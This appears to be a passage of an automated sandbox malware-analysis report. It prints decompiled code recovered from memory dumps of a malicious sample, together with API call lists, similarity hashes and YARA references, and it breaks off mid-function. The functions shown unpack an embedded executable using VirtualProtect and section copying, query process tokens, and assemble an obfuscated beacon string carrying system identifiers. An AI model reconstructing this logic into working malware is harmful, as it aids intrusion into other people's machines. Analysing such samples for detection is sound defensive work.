NtOpenProcess.NTDLL(00000000,00000400,?,?), ref: 035583FE
NtOpenProcessToken.NTDLL(00000000,00000008,?), ref: 03558411
NtQueryInformationToken.NTDLL(?,00000001,00000000,00000000,00000000), ref: 0355842D

Part of subcall function 03552049: RtlAllocateHeap.NTDLL(00000000,00000000,03557E50), ref: 03552055

NtQueryInformationToken.NTDLL(?,00000001,00000000,00000000,00000000), ref: 0355844A
memcpy.NTDLL(00000000,00000000,0000001C), ref: 03558457
NtClose.NTDLL(?), ref: 03558469
NtClose.NTDLL(00000000), ref: 03558473

Memory Dump Source

Source File: 00000003.00000002.499257511.0000000003551000.00000020.00000001.sdmp, Offset: 03550000, based on PE: true

Associated: 00000003.00000002.499242705.0000000003550000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.499318420.000000000355C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.499336543.000000000355D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.499367631.000000000355F000.00000002.00000001.sdmp Download File

Similarity

API ID: Token$CloseInformationOpenProcessQuery$AllocateHeapmemcpy
String ID:
API String ID: 2575439697-0
Opcode ID: eadabe306d075c254774294c10e492d20233ad6891179bb2dd4eab95dcb5d3a5
Instruction ID: 16d63861d4344460c89abbc7aad35d220cccb79dba91252bda1248119cc1d269
Opcode Fuzzy Hash: eadabe306d075c254774294c10e492d20233ad6891179bb2dd4eab95dcb5d3a5
Instruction Fuzzy Hash: CB21FEB6A00219EBDB01EF95DC85EDEBFB9EB48750F104022F900AA120D771AA459BA0

Uniqueness

Uniqueness Score: -1.00%

Function 0343348F, Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 367
memoryCOMMONCrypto

Download Yara Rule

C-Code - Quality: 72%

			E0343348F(signed int __ebx, signed int __ecx, signed int __edx, signed int __edi, signed int __esi, signed int _a4) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v32;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				void* __ebp;
				signed int _t195;
				signed int _t197;
				signed int _t198;
				signed int _t199;
				signed int _t202;
				signed int _t205;
				signed int _t211;
				void* _t212;
				signed int _t215;
				signed int _t218;
				signed int _t221;
				signed int _t222;
				signed int _t223;
				signed int _t226;
				void* _t236;
				void* _t243;
				void* _t245;
				signed int _t247;
				signed int _t259;
				long _t262;
				long _t265;
				signed int _t270;
				signed int _t275;
				signed int _t278;
				signed int _t280;
				signed int _t282;
				void* _t286;
				signed int _t287;
				void* _t292;
				void* _t293;
				DWORD* _t294;
				signed int _t299;
				signed int _t302;
				signed int _t305;
				signed int _t308;
				void* _t309;
				signed int _t313;
				signed int _t320;
				long _t325;
				signed int* _t333;

				_t299 = __esi;
				_t275 = __edi;
				_t258 = __edx;
				_t229 = __ecx;
				_t223 = __ebx;
				if( *(__ebx + 0x41820f) == 0) {
					_push(_v20);
					 *_t333 = __ecx;
					_push(__edi);
					 *_t333 =  *_t333 & 0x00000000;
					 *_t333 =  *_t333 | __edx;
					_t195 =  *((intOrPtr*)(__ebx + 0x45d020))();
					_v20 = __ecx;
					 *(__ebx + 0x41820f) =  *(__ebx + 0x41820f) & 0x00000000;
					 *(__ebx + 0x41820f) =  *(__ebx + 0x41820f) | __ecx ^ _v20 | _t195;
					_pop(_t258);
					_pop(_t229);
				}
				_push(_t325);
				 *_t333 =  *_t333 - _t325;
				 *_t333 =  *_t333 ^ _t258;
				if( *(_t223 + 0x418637) == 0) {
					_v12 = _v12 & 0x00000000;
					 *_t333 =  *_t333 | _t229;
					_t195 =  *((intOrPtr*)(_t223 + 0x45d024))(_v12);
					_v12 = _t299;
					 *(_t223 + 0x418637) =  *(_t223 + 0x418637) & 0x00000000;
					 *(_t223 + 0x418637) =  *(_t223 + 0x418637) | _t299 - _v12 ^ _t195;
					_t299 = _v12;
					_pop(_t229);
				}
				_v20 = _v20 & 0x00000000;
				_push(_v20);
				 *_t333 =  *_t333 ^ _t229;
				if( *(_t223 + 0x4181e7) == 0) {
					_v32 =  *((intOrPtr*)(_t223 + 0x418351));
					_t325 = _t325;
					_v40 =  *((intOrPtr*)(_t223 + 0x418073));
					_t320 = _t299;
					_t275 = _v44;
					_v44 =  *((intOrPtr*)(_t223 + 0x418147));
					_t195 =  *((intOrPtr*)(_t223 + 0x45d044))(_t275, _t275, _t325, _t325);
					_v20 = _t320;
					 *(_t223 + 0x4181e7) =  *(_t223 + 0x4181e7) & 0x00000000;
					 *(_t223 + 0x4181e7) =  *(_t223 + 0x4181e7) | _t320 - _v20 | _t195;
					_t299 = _v20;
				}
				_v12 = _t275;
				_t197 = _t195 & 0x00000000 | _t275 ^ _v12 | _a4;
				_t278 = _v12;
				if( *(_t223 + 0x4182f3) == 0) {
					_v16 = _v16 & 0x00000000;
					_v32 = _v32 + _t197;
					_t222 =  *((intOrPtr*)(_t223 + 0x45d024))(_v16);
					_v12 = _t229;
					 *(_t223 + 0x4182f3) =  *(_t223 + 0x4182f3) & 0x00000000;
					 *(_t223 + 0x4182f3) =  *(_t223 + 0x4182f3) | _t229 & 0x00000000 ^ _t222;
					_t229 = _v12;
					_pop(_t197);
				}
				_t198 = _t197 +  *((intOrPtr*)(_t197 + 0x3c));
				if( *(_t223 + 0x418577) == 0) {
					_v32 = _v32 - _t223;
					_v32 = _v32 + _t198;
					_v40 =  *((intOrPtr*)(_t223 + 0x418197));
					_v44 = _v44 & 0x00000000;
					_v44 = _v44 ^ _t278;
					_t229 = _v48;
					_v48 =  *((intOrPtr*)(_t223 + 0x418193));
					_v52 =  *((intOrPtr*)(_t223 + 0x418320));
					_t221 =  *((intOrPtr*)(_t223 + 0x45d048))(_v40, _t325, _t229, 0, _t223);
					_v12 = _t258;
					 *(_t223 + 0x418577) =  *(_t223 + 0x418577) & 0x00000000;
					 *(_t223 + 0x418577) =  *(_t223 + 0x418577) | _t258 - _v12 ^ _t221;
					_t258 = _v12;
					_t198 = _t198;
				}
				_v20 = 0;
				_push(_v20);
				_v32 = _v32 | _t198;
				if( *(_t223 + 0x418583) == 0) {
					_v12 = _v12 & 0x00000000;
					 *_t333 =  *_t333 ^ _t198;
					_v40 =  *((intOrPtr*)(_t223 + 0x41848b));
					_v44 =  *((intOrPtr*)(_t223 + 0x4180ab));
					_t278 = _t278;
					_v48 = _t229;
					_v52 =  *((intOrPtr*)(_t223 + 0x4185df));
					_t299 = _t299;
					_v56 =  *((intOrPtr*)(_t223 + 0x418263));
					_t270 = _t258;
					_t218 =  *((intOrPtr*)(_t223 + 0x45d048))(_t229, _v16, _t229, _t198, _v12);
					 *(_t223 + 0x418583) =  *(_t223 + 0x418583) & 0x00000000;
					 *(_t223 + 0x418583) =  *(_t223 + 0x418583) ^ _t270 & 0x00000000 ^ _t218;
					_t258 = _t270;
					_t198 = _t278;
				}
				_v12 = _t299;
				_t280 = _t278 & 0x00000000 | _t299 & 0x00000000 ^ _t198;
				_t302 = _v12;
				if( *(_t223 + 0x418117) == 0) {
					_t215 =  *((intOrPtr*)(_t223 + 0x45d024))();
					_v12 = _t302;
					 *(_t223 + 0x418117) =  *(_t223 + 0x418117) & 0x00000000;
					 *(_t223 + 0x418117) =  *(_t223 + 0x418117) ^ _t302 ^ _v12 ^ _t215;
					_t302 = _v12;
				}
				_t199 =  *(_t280 + 6) & 0x0000ffff;
				if( *((intOrPtr*)(_t223 + 0x41829b)) == 0) {
					_v16 = 0;
					 *_t333 =  *_t333 + _t199;
					_push( *((intOrPtr*)(_t223 + 0x45d024))(_v16));
					_pop( *_t108);
					_push(_v16);
					_pop( *_t110);
					_pop(_t199);
				}
				_v8 = _v8 & 0x00000000;
				_v8 = _v8 ^ _t302 ^  *_t333 ^ _t199;
				_t305 = _t302;
				if( *(_t223 + 0x41806f) == 0) {
					_push(_t325);
					 *_t333 =  *(_t223 + 0x4182df);
					_push(_t280);
					_push( *_t333);
					_v40 =  *((intOrPtr*)(_t223 + 0x418340));
					_pop(_t325);
					_v44 =  *((intOrPtr*)(_t223 + 0x41817b));
					_t243 = _t229;
					_v48 =  *((intOrPtr*)(_t223 + 0x4185ff));
					_t245 = _t243;
					_v52 =  *((intOrPtr*)(_t223 + 0x4184eb));
					_t247 = _t245;
					_t199 =  *((intOrPtr*)(_t223 + 0x45d048))(_t325, _t243, _t199);
					 *(_t223 + 0x41806f) =  *(_t223 + 0x41806f) & 0x00000000;
					 *(_t223 + 0x41806f) =  *(_t223 + 0x41806f) | _t247 ^ _v56 ^ _t199;
					_t229 = _t247;
				}
				_push(_t258);
				 *_t333 =  *_t333 - _t258;
				 *_t333 = _t280;
				if( *(_t223 + 0x4180b7) == 0) {
					_t199 =  *((intOrPtr*)(_t223 + 0x45d024))();
					 *(_t223 + 0x4180b7) =  *(_t223 + 0x4180b7) & 0x00000000;
					 *(_t223 + 0x4180b7) =  *(_t223 + 0x4180b7) | _t229 - _v40 ^ _t199;
					_t229 = _t229;
				}
				_v20 = _t305;
				_t259 =  *(_t280 + 0x54);
				_t308 = _v20;
				if( *(_t223 + 0x41812b) == 0) {
					_v12 = _v12 & 0x00000000;
					_v40 = _v40 ^ _t259;
					_t199 =  *((intOrPtr*)(_t223 + 0x45d020))(_v12);
					 *(_t223 + 0x41812b) =  *(_t223 + 0x41812b) & 0x00000000;
					 *(_t223 + 0x41812b) =  *(_t223 + 0x41812b) | _t280 & 0x00000000 | _t199;
					_t280 = _t280;
					_pop(_t259);
				}
				_v12 = _t199;
				_t282 = _t280 & 0x00000000 ^ _t199 & 0x00000000 ^  *(_t223 + 0x4180f7);
				_t202 = _v12;
				if( *(_t223 + 0x4181df) == 0) {
					_v40 = _v40 & 0x00000000;
					_v40 = _v40 | _t259;
					_v48 =  *((intOrPtr*)(_t223 + 0x418444));
					_v16 = 0;
					_v52 = _v52 | _t223;
					_t202 =  *((intOrPtr*)(_t223 + 0x45d040))(_v16, _t259, 0, _t308);
					 *(_t223 + 0x4181df) =  *(_t223 + 0x4181df) & 0x00000000;
					 *(_t223 + 0x4181df) =  *(_t223 + 0x4181df) | _t229 - _v56 | _t202;
					_t229 = _t229;
					_pop(_t259);
				}
				_v40 = _t259;
				_t309 = _a4;
				_t262 = 0;
				_v16 = _t282;
				_t231 = _t229 & 0x00000000 | _t282 - _v16 | _t262;
				if(_v16 != _t309) {
					do {
						asm("movsb");
						_t231 = _t231 - 1;
					} while (_t231 != 0);
					_v12 = _t309;
					_t294 =  *(_t223 + 0x4180f7);
					_t309 = _v12;
					 *(_t223 + 0x4184cf) = 0x40;
					_v40 = _v40 & 0x00000000;
					_v40 = _v40 | _t223 + 0x004184cf;
					_v44 = 2;
					_v48 = _v48 - _t325;
					_v48 = _v48 | _t262;
					_v16 = _v16 & 0x00000000;
					_v52 = _v52 ^ _t294; // executed
					_t202 = VirtualProtect(_v16, _t325, _t262, _t294);
				}
				_pop(_t286);
				_t287 = _t286 + 0xf8;
				_t226 = _t223;
				do {
					_v12 = _v12 & 0x00000000;
					_push(_v12);
					 *_t333 =  *_t333 | _t287;
					_v16 = _t202;
					_t205 = _v16;
					_v16 = _t205;
					_t309 = (_t309 & 0x00000000 ^ _t202 & 0x00000000 ^ _a4) +  *((intOrPtr*)(_t287 + 0x14));
					_t202 = memcpy( *((intOrPtr*)(_t287 + 0xc)) +  *(_t226 + 0x4180f7), _t309, _t231 & 0x00000000 ^ _t205 & 0x00000000 ^  *(_t287 + 0x10));
					_t333 =  &(_t333[3]);
					_t231 = 0;
					_pop(_t292);
					_t287 = _t292 + 0x28;
					_t226 = _t226;
					_t187 =  &_v8;
					 *_t187 = _v8 - 1;
				} while ( *_t187 != 0);
				_pop(_t293);
				_push(_t325);
				_t211 = (_t202 & 0x00000000 | _t325 - _v32 |  *(_t293 + 0x28)) +  *(_t226 + 0x4180f7);
				_v32 = 0;
				 *(_t226 + 0x418418) = 0 ^ _t211;
				_t236 = 0;
				_v12 = _t262;
				_t313 = _t309 & 0x00000000 | _t262 & 0x00000000 ^  *(_t226 + 0x4180f7);
				_t265 = _v12;
				if(_t313 > 0) {
					_push(_t226);
					_v32 = _v32 ^ _t226;
					_v32 = _v32 | _t313;
					_t212 = E034320EE(_t226, _t236, _t265, _t293, _t313);
					 *_t333 =  *_t333 & 0x00000000;
					 *_t333 =  *_t333 ^ _t313;
					_t211 = E03435AF6(_t212, _t226, _t236, _t265, _t293, _t313, _t236);
				}
				return _t211;
			}

0x0343348f
0x0343348f
0x0343348f
0x0343348f
0x0343348f
0x0343349c
0x0343349e
0x034334a1
0x034334a4
0x034334a5
0x034334a9
0x034334ac
0x034334b2
0x034334ba
0x034334c1
0x034334ca
0x034334cb
0x034334cb
0x034334cc
0x034334cd
0x034334d0
0x034334da
0x034334dc
0x034334e3
0x034334e6
0x034334ec
0x034334f4
0x034334fb
0x03433501
0x03433504
0x03433504
0x03433505
0x03433509
0x0343350c
0x03433516
0x03433520
0x03433524
0x0343352e
0x03433532
0x0343353a
0x0343353a
0x0343353d
0x03433543
0x0343354b
0x03433552
0x03433558
0x03433558
0x0343355b
0x03433567
0x03433569
0x03433573
0x03433575
0x0343357c
0x0343357f
0x03433585
0x0343358d
0x03433594
0x0343359a
0x0343359d
0x0343359d
0x0343359e
0x034335a8
0x034335ab
0x034335ae
0x034335ba
0x034335be
0x034335c2
0x034335cc
0x034335cc
0x034335d6
0x034335d9
0x034335df
0x034335e7
0x034335ee
0x034335f4
0x034335f7
0x034335f7
0x034335f8
0x034335ff
0x03433602
0x0343360c
0x0343360e
0x03433615
0x0343361f
0x0343362a
0x0343362e
0x03433632
0x0343363d
0x03433641
0x0343364a
0x0343364e
0x0343364f
0x0343365b
0x03433662
0x03433668
0x03433669
0x03433669
0x0343366a
0x03433675
0x03433677
0x03433681
0x03433683
0x03433689
0x03433691
0x03433698
0x0343369e
0x0343369e
0x034336a1
0x034336ac
0x034336ae
0x034336b8
0x034336c1
0x034336c2
0x034336c5
0x034336c8
0x034336ce
0x034336ce
0x034336d5
0x034336d9
0x034336dc
0x034336e4
0x034336e6
0x034336ed
0x034336f0
0x034336f1
0x034336f8
0x034336fc
0x03433705
0x03433709
0x03433712
0x03433716
0x0343371f
0x03433723
0x03433724
0x03433730
0x03433737
0x0343373d
0x0343373d
0x0343373e
0x0343373f
0x03433742
0x0343374c
0x0343374e
0x0343375a
0x03433761
0x03433767
0x03433767
0x03433768
0x03433770
0x03433772
0x0343377c
0x0343377e
0x03433785
0x03433788
0x03433794
0x0343379b
0x034337a1
0x034337a2
0x034337a2
0x034337a3
0x034337b2
0x034337b4
0x034337be
0x034337c1
0x034337c5
0x034337d1
0x034337d4
0x034337de
0x034337e1
0x034337ed
0x034337f4
0x034337fa
0x034337fb
0x034337fb
0x034337fe
0x03433806
0x03433808
0x03433809
0x03433814
0x0343381b
0x0343381d
0x0343381d
0x0343381e
0x0343381e
0x03433821
0x0343382c
0x0343382e
0x03433831
0x03433842
0x03433846
0x0343384a
0x03433852
0x03433855
0x03433858
0x0343385f
0x03433862
0x03433862
0x03433868
0x03433872
0x03433874
0x03433875
0x03433875
0x03433879
0x0343387c
0x0343387f
0x0343388d
0x03433890
0x034338a1
0x034338ad
0x034338ad
0x034338ad
0x034338af
0x034338b9
0x034338bb
0x034338bc
0x034338bc
0x034338bc
0x034338c1
0x034338c2
0x034338cf
0x034338d7
0x034338de
0x034338e4
0x034338e5
0x034338f4
0x034338f6
0x034338fc
0x034338fe
0x034338ff
0x03433902
0x03433905
0x0343390b
0x0343390f
0x03433912
0x03433912
0x0343391a

APIs

VirtualProtect.KERNELBASE(00000000,?,00000000,?,?,00000000,00000000), ref: 03433862

Strings

@, xrefs: 03433831

Memory Dump Source

Source File: 00000003.00000002.498932024.0000000003430000.00000040.00000001.sdmp, Offset: 03430000, based on PE: true

Associated: 00000003.00000002.499049563.0000000003448000.00000040.00000001.sdmp Download File
Associated: 00000003.00000002.499084760.000000000348D000.00000040.00000001.sdmp Download File

Similarity

API ID: ProtectVirtual
String ID: @
API String ID: 544645111-2766056989
Opcode ID: 45ff06a93b9dab7e30dae66d33c620778585e23986d508cd26357393324dd102
Instruction ID: 69e3c531d26f59a9c1b7590a416067c7ce0caea85989bc67ec336925d1919cdc
Opcode Fuzzy Hash: 45ff06a93b9dab7e30dae66d33c620778585e23986d508cd26357393324dd102
Instruction Fuzzy Hash: 0DF14F72C04204EFEB049F64C5897AEBBF5FF48715F1984AEDC88AB245CB786550CB68

Uniqueness

Uniqueness Score: -1.00%

Function 03558B94, Relevance: 33.2, APIs: 22, Instructions: 245
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E03558B94(long __eax, void* __ecx, void* __edx, intOrPtr _a4, char** _a8, int* _a12, void* _a16) {
				void* _v8;
				signed int _v12;
				void* _v16;
				void* _v20;
				void* _v24;
				void* _v28;
				void* __ebx;
				void* __edi;
				long _t59;
				intOrPtr _t60;
				intOrPtr _t61;
				intOrPtr _t62;
				intOrPtr _t63;
				intOrPtr _t64;
				void* _t67;
				intOrPtr _t68;
				int _t71;
				void* _t72;
				void* _t73;
				void* _t75;
				void* _t78;
				intOrPtr _t82;
				intOrPtr _t86;
				intOrPtr* _t88;
				void* _t94;
				intOrPtr _t101;
				signed int _t105;
				char** _t107;
				int _t110;
				signed int _t112;
				intOrPtr* _t113;
				intOrPtr* _t115;
				intOrPtr* _t117;
				intOrPtr* _t119;
				intOrPtr _t122;
				intOrPtr _t127;
				int _t131;
				CHAR* _t133;
				intOrPtr _t134;
				void* _t135;
				void* _t144;
				int _t145;
				void* _t146;
				intOrPtr _t147;
				void* _t149;
				long _t153;
				intOrPtr* _t154;
				intOrPtr* _t155;
				intOrPtr* _t158;
				void* _t159;
				void* _t161;

				_t144 = __edx;
				_t135 = __ecx;
				_t59 = __eax;
				_v12 = 8;
				if(__eax == 0) {
					_t59 = GetTickCount();
				}
				_t60 =  *0x355d018; // 0x3429050d
				asm("bswap eax");
				_t61 =  *0x355d014; // 0x3a87c8cd
				_t133 = _a16;
				asm("bswap eax");
				_t62 =  *0x355d010; // 0xd8d2f808
				asm("bswap eax");
				_t63 =  *0x355d00c; // 0x8f8f86c2
				asm("bswap eax");
				_t64 =  *0x355d27c; // 0x244a5a8
				_t3 = _t64 + 0x355e633; // 0x74666f73
				_t145 = wsprintfA(_t133, _t3, 3, 0x3d14b, _t63, _t62, _t61, _t60,  *0x355d02c,  *0x355d004, _t59);
				_t67 = E03551C1A();
				_t68 =  *0x355d27c; // 0x244a5a8
				_t4 = _t68 + 0x355e673; // 0x74707526
				_t71 = wsprintfA(_t145 + _t133, _t4, _t67);
				_t161 = _t159 + 0x38;
				_t146 = _t145 + _t71; // executed
				_t72 = E035554BC(_t135); // executed
				_t134 = __imp__;
				_v8 = _t72;
				if(_t72 != 0) {
					_t127 =  *0x355d27c; // 0x244a5a8
					_t7 = _t127 + 0x355e8eb; // 0x736e6426
					_t131 = wsprintfA(_a16 + _t146, _t7, _t72);
					_t161 = _t161 + 0xc;
					_t146 = _t146 + _t131;
					HeapFree( *0x355d238, 0, _v8);
				}
				_t73 = E03557649();
				_v8 = _t73;
				if(_t73 != 0) {
					_t122 =  *0x355d27c; // 0x244a5a8
					_t11 = _t122 + 0x355e8f3; // 0x6f687726
					wsprintfA(_t146 + _a16, _t11, _t73);
					_t161 = _t161 + 0xc;
					HeapFree( *0x355d238, 0, _v8);
				}
				_t147 =  *0x355d32c; // 0x59a95b0
				_t75 = E03559395(0x355d00a, _t147 + 4);
				_t153 = 0;
				_v20 = _t75;
				if(_t75 == 0) {
					L26:
					RtlFreeHeap( *0x355d238, _t153, _a16); // executed
					return _v12;
				} else {
					_t78 = RtlAllocateHeap( *0x355d238, 0, 0x800); // executed
					_v8 = _t78;
					if(_t78 == 0) {
						L25:
						HeapFree( *0x355d238, _t153, _v20);
						goto L26;
					}
					E03557A80(GetTickCount());
					_t82 =  *0x355d32c; // 0x59a95b0
					__imp__(_t82 + 0x40);
					asm("lock xadd [eax], ecx");
					_t86 =  *0x355d32c; // 0x59a95b0
					__imp__(_t86 + 0x40);
					_t88 =  *0x355d32c; // 0x59a95b0
					_t149 = E03558307(1, _t144, _a16,  *_t88);
					_v28 = _t149;
					asm("lock xadd [eax], ecx");
					if(_t149 == 0) {
						L24:
						RtlFreeHeap( *0x355d238, _t153, _v8); // executed
						goto L25;
					}
					StrTrimA(_t149, 0x355c2ac);
					_push(_t149);
					_t94 = E03553CC8();
					_v16 = _t94;
					if(_t94 == 0) {
						L23:
						HeapFree( *0x355d238, _t153, _t149);
						goto L24;
					}
					_t154 = __imp__;
					 *_t154(_t149, _a4);
					 *_t154(_v8, _v20);
					_t155 = __imp__;
					 *_t155(_v8, _v16);
					 *_t155(_v8, _t149);
					_t101 = E0355809F(0, _v8);
					_a4 = _t101;
					if(_t101 == 0) {
						_v12 = 8;
						L21:
						E0355A1B0();
						L22:
						HeapFree( *0x355d238, 0, _v16);
						_t153 = 0;
						goto L23;
					}
					_t105 = E035543DF(_t134, 0xffffffffffffffff, _t149,  &_v24); // executed
					_v12 = _t105;
					if(_t105 == 0) {
						_t158 = _v24;
						_t112 = E0355163F(_t158, _a4, _a8, _a12); // executed
						_v12 = _t112;
						_t113 =  *((intOrPtr*)(_t158 + 8));
						 *((intOrPtr*)( *_t113 + 0x80))(_t113);
						_t115 =  *((intOrPtr*)(_t158 + 8));
						 *((intOrPtr*)( *_t115 + 8))(_t115);
						_t117 =  *((intOrPtr*)(_t158 + 4));
						 *((intOrPtr*)( *_t117 + 8))(_t117);
						_t119 =  *_t158;
						 *((intOrPtr*)( *_t119 + 8))(_t119);
						E03559039(_t158);
					}
					if(_v12 != 0x10d2) {
						L16:
						if(_v12 == 0) {
							_t107 = _a8;
							if(_t107 != 0) {
								_t150 =  *_t107;
								_t156 =  *_a12;
								wcstombs( *_t107,  *_t107,  *_a12);
								_t110 = E035585DB(_t150, _t150, _t156 >> 1);
								_t149 = _v28;
								 *_a12 = _t110;
							}
						}
						goto L19;
					} else {
						if(_a8 != 0) {
							L19:
							E03559039(_a4);
							if(_v12 == 0 || _v12 == 0x10d2) {
								goto L22;
							} else {
								goto L21;
							}
						}
						_v12 = _v12 & 0x00000000;
						goto L16;
					}
				}
			}

0x03558b94
0x03558b94
0x03558b94
0x03558b9f
0x03558ba6
0x03558ba8
0x03558ba8
0x03558bb5
0x03558bc0
0x03558bc3
0x03558bc8
0x03558bd1
0x03558bd4
0x03558bd9
0x03558bdc
0x03558be1
0x03558be4
0x03558bf0
0x03558bfd
0x03558bff
0x03558c05
0x03558c0a
0x03558c15
0x03558c17
0x03558c1a
0x03558c1c
0x03558c23
0x03558c29
0x03558c2c
0x03558c2f
0x03558c34
0x03558c41
0x03558c43
0x03558c49
0x03558c53
0x03558c53
0x03558c55
0x03558c5c
0x03558c5f
0x03558c62
0x03558c67
0x03558c74
0x03558c76
0x03558c84
0x03558c84
0x03558c86
0x03558c94
0x03558c99
0x03558c9d
0x03558ca0
0x03558e63
0x03558e6d
0x03558e76
0x03558ca6
0x03558cb2
0x03558cba
0x03558cbd
0x03558e57
0x03558e61
0x00000000
0x03558e61
0x03558cc9
0x03558cce
0x03558cd7
0x03558ce8
0x03558cec
0x03558cf5
0x03558cfb
0x03558d0a
0x03558d11
0x03558d1a
0x03558d20
0x03558e4b
0x03558e55
0x00000000
0x03558e55
0x03558d2c
0x03558d32
0x03558d33
0x03558d3a
0x03558d3d
0x03558e41
0x03558e49
0x00000000
0x03558e49
0x03558d46
0x03558d4d
0x03558d55
0x03558d5a
0x03558d63
0x03558d69
0x03558d70
0x03558d77
0x03558d7a
0x03558e79
0x03558e2d
0x03558e2d
0x03558e32
0x03558e3d
0x03558e3f
0x00000000
0x03558e3f
0x03558d84
0x03558d8b
0x03558d8e
0x03558d93
0x03558d9e
0x03558da3
0x03558da6
0x03558dac
0x03558db2
0x03558db8
0x03558dbb
0x03558dc1
0x03558dc4
0x03558dc9
0x03558dcd
0x03558dcd
0x03558dd9
0x03558de5
0x03558de9
0x03558deb
0x03558df0
0x03558df2
0x03558df7
0x03558dfc
0x03558e09
0x03558e11
0x03558e14
0x03558e14
0x03558df0
0x00000000
0x03558ddb
0x03558ddf
0x03558e16
0x03558e19
0x03558e22
0x00000000
0x00000000
0x00000000
0x00000000
0x03558e22
0x03558de1
0x00000000
0x03558de1
0x03558dd9

APIs

GetTickCount.KERNEL32 ref: 03558BA8
wsprintfA.USER32 ref: 03558BF8
wsprintfA.USER32 ref: 03558C15
wsprintfA.USER32 ref: 03558C41
HeapFree.KERNEL32(00000000,?), ref: 03558C53
wsprintfA.USER32 ref: 03558C74
HeapFree.KERNEL32(00000000,?), ref: 03558C84
RtlAllocateHeap.NTDLL(00000000,00000800), ref: 03558CB2
GetTickCount.KERNEL32 ref: 03558CC3
RtlEnterCriticalSection.NTDLL(059A9570), ref: 03558CD7
RtlLeaveCriticalSection.NTDLL(059A9570), ref: 03558CF5

Part of subcall function 03558307: lstrlen.KERNEL32(00000000,253D7325,00000000,00000000,74ECC740,?,?,0355A428,?,059A95B0), ref: 03558332
Part of subcall function 03558307: lstrlen.KERNEL32(?,?,?,0355A428,?,059A95B0), ref: 0355833A
Part of subcall function 03558307: strcpy.NTDLL ref: 03558351
Part of subcall function 03558307: lstrcat.KERNEL32(00000000,?), ref: 0355835C
Part of subcall function 03558307: StrTrimA.SHLWAPI(00000000,=,00000000,00000000,?,?,?,0355A428,?,059A95B0), ref: 03558379

StrTrimA.SHLWAPI(00000000,0355C2AC,?,059A95B0), ref: 03558D2C

Part of subcall function 03553CC8: lstrlen.KERNEL32(059A9910,00000000,00000000,74ECC740,0355A453,00000000), ref: 03553CD8
Part of subcall function 03553CC8: lstrlen.KERNEL32(?), ref: 03553CE0
Part of subcall function 03553CC8: lstrcpy.KERNEL32(00000000,059A9910), ref: 03553CF4
Part of subcall function 03553CC8: lstrcat.KERNEL32(00000000,?), ref: 03553CFF

lstrcpy.KERNEL32(00000000,?), ref: 03558D4D
lstrcpy.KERNEL32(?,?), ref: 03558D55
lstrcat.KERNEL32(?,?), ref: 03558D63
lstrcat.KERNEL32(?,00000000), ref: 03558D69

Part of subcall function 0355809F: lstrlen.KERNEL32(?,00000000,0355D330,00000001,03552200,0355D00C,0355D00C,00000000,00000005,00000000,00000000,?,?,?,035596C1,035523E9), ref: 035580A8
Part of subcall function 0355809F: mbstowcs.NTDLL ref: 035580CF
Part of subcall function 0355809F: memset.NTDLL ref: 035580E1

wcstombs.NTDLL ref: 03558DFC

Part of subcall function 0355163F: SysAllocString.OLEAUT32(?), ref: 03551680
Part of subcall function 0355163F: IUnknown_QueryInterface_Proxy.RPCRT4(00000008,332C4425,?), ref: 03551702
Part of subcall function 0355163F: StrStrIW.SHLWAPI(?,006E0069), ref: 03551741

Part of subcall function 03559039: HeapFree.KERNEL32(00000000,00000000,03557F18,00000000,?,?,00000000), ref: 03559045

HeapFree.KERNEL32(00000000,?,?), ref: 03558E3D
HeapFree.KERNEL32(00000000,00000000,00000000), ref: 03558E49
RtlFreeHeap.NTDLL(00000000,?,?,059A95B0), ref: 03558E55
HeapFree.KERNEL32(00000000,?), ref: 03558E61
RtlFreeHeap.NTDLL(00000000,?), ref: 03558E6D

Memory Dump Source

Source File: 00000003.00000002.499257511.0000000003551000.00000020.00000001.sdmp, Offset: 03550000, based on PE: true

Associated: 00000003.00000002.499242705.0000000003550000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.499318420.000000000355C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.499336543.000000000355D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.499367631.000000000355F000.00000002.00000001.sdmp Download File

Similarity

API ID: Heap$Free$lstrlen$lstrcatwsprintf$lstrcpy$CountCriticalSectionTickTrim$AllocAllocateEnterInterface_LeaveProxyQueryStringUnknown_mbstowcsmemsetstrcpywcstombs
String ID:
API String ID: 603507560-0
Opcode ID: 7e0944f6362b92ccd16cdaec7475b380aa45f4e0406c2c87d209f5193acd4879
Instruction ID: e40b8316e6947ab08ed435a34ab922b2a6c3bffdd145ab11297ca9d521effab7
Opcode Fuzzy Hash: 7e0944f6362b92ccd16cdaec7475b380aa45f4e0406c2c87d209f5193acd4879
Instruction Fuzzy Hash: 67911772A00209AFCB11EFA5ECA4E9E7BB9FF48350B144056F809D7270D731B956EB61

Uniqueness

Uniqueness Score: -1.00%

Function 03556786, Relevance: 16.6, APIs: 11, Instructions: 150
timememoryCOMMON

Download Yara Rule

C-Code - Quality: 83%

			E03556786(intOrPtr __edx, intOrPtr _a4, intOrPtr _a8) {
				struct %anon52 _v8;
				long _v12;
				char _v16;
				char _v20;
				signed int _v24;
				intOrPtr _v32;
				union _LARGE_INTEGER _v36;
				intOrPtr _v40;
				void* _v44;
				void _v88;
				char _v92;
				struct %anon52 _t46;
				intOrPtr _t51;
				long _t53;
				void* _t54;
				struct %anon52 _t60;
				long _t64;
				signed int _t65;
				void* _t68;
				void* _t70;
				signed int _t71;
				intOrPtr _t73;
				intOrPtr _t76;
				void** _t78;
				void* _t80;

				_t73 = __edx;
				_v92 = 0;
				memset( &_v88, 0, 0x2c);
				_t46 = CreateWaitableTimerA(0, 1, 0);
				_v44 = _t46;
				if(_t46 == 0) {
					_v8.LowPart = GetLastError();
				} else {
					_push(0xffffffff);
					_push(0xff676980);
					_push(0);
					_push( *0x355d240);
					_v20 = 0;
					_v16 = 0;
					L0355B0C8();
					_v36.LowPart = _t46;
					_v32 = _t73;
					SetWaitableTimer(_v44,  &_v36, 0, 0, 0, 0);
					_t51 =  *0x355d26c; // 0x2e4
					_v40 = _t51;
					_t53 = WaitForMultipleObjects(2,  &_v44, 0, 0xffffffff);
					_v8.LowPart = _t53;
					if(_t53 == 0) {
